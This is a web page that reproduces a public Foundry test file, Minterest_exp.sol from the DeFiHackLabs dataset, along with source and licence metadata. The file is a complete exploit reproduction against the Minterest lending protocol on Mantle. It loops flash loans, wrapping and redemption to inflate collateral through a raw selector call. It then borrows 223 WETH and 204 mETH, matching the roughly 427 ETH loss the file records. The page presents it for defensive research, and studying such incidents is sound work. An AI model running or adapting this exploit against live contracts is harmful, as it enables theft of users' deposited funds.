Public reproduction file
src/test/2024-07/Minterest_exp.sol
Public reproduction file for dataset entry Minterest.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~427 ETH8// TX : https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd9// Attacker : https://mantlescan.info/address/0x618f768af6291705eb13e0b2e96600b3851911d110// Attack Contract : https://mantlescan.info/address/0x5fdac50aa48e3e86299a04ad18a68750b2074d2d12interface IERC3156FlashBorrower {13 function onFlashLoan(14 address initiator,15 address token,16 uint256 amount,17 uint256 fee,18 bytes calldata data19 ) external returns (bytes32);20}22interface Musdy is IERC20 {23 function maxFlashLoan(24 address token25 ) external view returns (uint256);26 function flashLoan(27 IERC3156FlashBorrower receiver,28 address token,29 uint256 amount,30 bytes calldata data31 ) external returns (bool);32 function redeemUnderlying(33 uint256 redeemAmount34 ) external;35 function lendRUSDY(36 uint256 _rUsdyLendAmount37 ) external;38}40interface Musd is IERC20 {41 function wrap(42 uint256 _USDYAmount43 ) external;44}46interface Meth is IERC20 {47 function borrow(48 uint256 _amount49 ) external;50}52contract Exploit is Test {53 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);54 address vulncontract = 0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;55 Musdy musdy = Musdy(0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c);56 Musd musd = Musd(0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3);57 Meth mWETH = Meth(0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be);58 Meth mMETH = Meth(0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d);59 IERC20 WETH = IERC20(0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111);60 IERC20 mETH = IERC20(0xcDA86A272531e8640cD7F1a92c01839911B90bb0);61 IERC20 usdy = IERC20(0x5bE26527e817998A7206475496fDE1E68957c5A6);62 address Proxy = 0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;63 bytes4 private constant TARGET_FUNCTION_SELECTOR = 0x847d282d;64 uint256 public wrapAmount;66 function setUp() public {67 cheats.createSelectFork("mantle", 66_416_576);68 }70 function testExpolit() public {71 usdy.approve(address(musdy), type(uint256).max);72 usdy.approve(address(musd), type(uint256).max);73 musd.approve(address(musdy), type(uint256).max);74 musdy.approve(address(musdy), type(uint256).max);75 address[] memory addressArray = new address[](1);76 addressArray[0] = address(musdy);77 address(Proxy).call(abi.encodeWithSignature("enableAsCollateral(address[])", addressArray));78 address(vulncontract).call(79 abi.encodeWithSelector(bytes4(0x490e6cbc), address(this), 0, 4_265_391_252_891_663_973_703_824, "")80 );81 // emit log_named_decimal_uint("[End] Attacker musdy balance after exploit", musdy.balanceOf(address(this)), musdy.decimals());82 mWETH.borrow(223 ether);83 mMETH.borrow(204 ether);84 emit log_named_decimal_uint(85 "[End] Attacker musdy balance after exploit", musdy.balanceOf(address(this)), musdy.decimals()86 );87 emit log_named_decimal_uint(88 "[End] Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()89 );90 emit log_named_decimal_uint(91 "[End] Attacker mETH balance after exploit", mETH.balanceOf(address(this)), mETH.decimals()92 );93 }94 // function 0x847d282d(uint256 varg0, uint256 varg1, uint256 varg2){96 function myFunction(uint256 a, uint256 b, uint256 c) public {97 uint256 i = 0;98 initializeWrapAmount(4_265_037_756_531_702_250_012_049);99 while (i < 24) {100 uint256 amount = musdy.maxFlashLoan(address(usdy));101 musdy.flashLoan(IERC3156FlashBorrower(address(this)), address(usdy), amount, "");102 musdy.redeemUnderlying(4_265_817_792_016_953_140_101_195);103 i++;104 }105 usdy.transfer(address(msg.sender), 4_265_817_792_016_953_140_101_195);106 }108 function onFlashLoan(109 address initiator,110 address token,111 uint256 amount,112 uint256 fee,113 bytes calldata data114 ) external returns (bytes32) {115 musd.wrap(wrapAmount);116 wrapAmount -= 383_885_212_760_249_758;117 uint256 thisamount = musd.balanceOf(address(this));118 musdy.lendRUSDY(thisamount);119 return keccak256("ERC3156FlashBorrower.onFlashLoan");120 }122 function initializeWrapAmount(123 uint256 initialAmount124 ) public {125 wrapAmount = initialAmount;126 }128 fallback() external payable {129 require(msg.data.length >= 4, "Invalid data");130 bytes4 selector;131 assembly {132 selector := calldataload(0)133 }134 if (selector == TARGET_FUNCTION_SELECTOR) {135 uint256 varg0;136 uint256 varg1;137 uint256 varg2;138 assembly {139 varg0 := calldataload(4)140 varg1 := calldataload(36)141 varg2 := calldataload(68)142 }143 myFunction(varg0, varg1, varg2);144 } else {145 revert("Function not recognized");146 }147 }149 receive() external payable {}150}Analysis
Dataset entry
Public Foundry test for “Minterest” (2024-07-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
- src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
- src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
- src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
- src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
- src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
- src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
- src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
- src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x618f768af6291705eb13e0b2e96600b3851911d1
- Attack Contract
0x5fdac50aa48e3e86299a04ad18a68750b2074d2d
File record
- Name
- Minterest
- Path
- src/test/2024-07/Minterest_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 09cd2cd47a6942ab277206059a6f6bdfd644f1df
- Language
- Solidity
- Size
- 151 lines
- Date
- 2024-07-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-07/Minterest_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 09cd2cd47a6942ab277206059a6f6bdfd644f1df, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.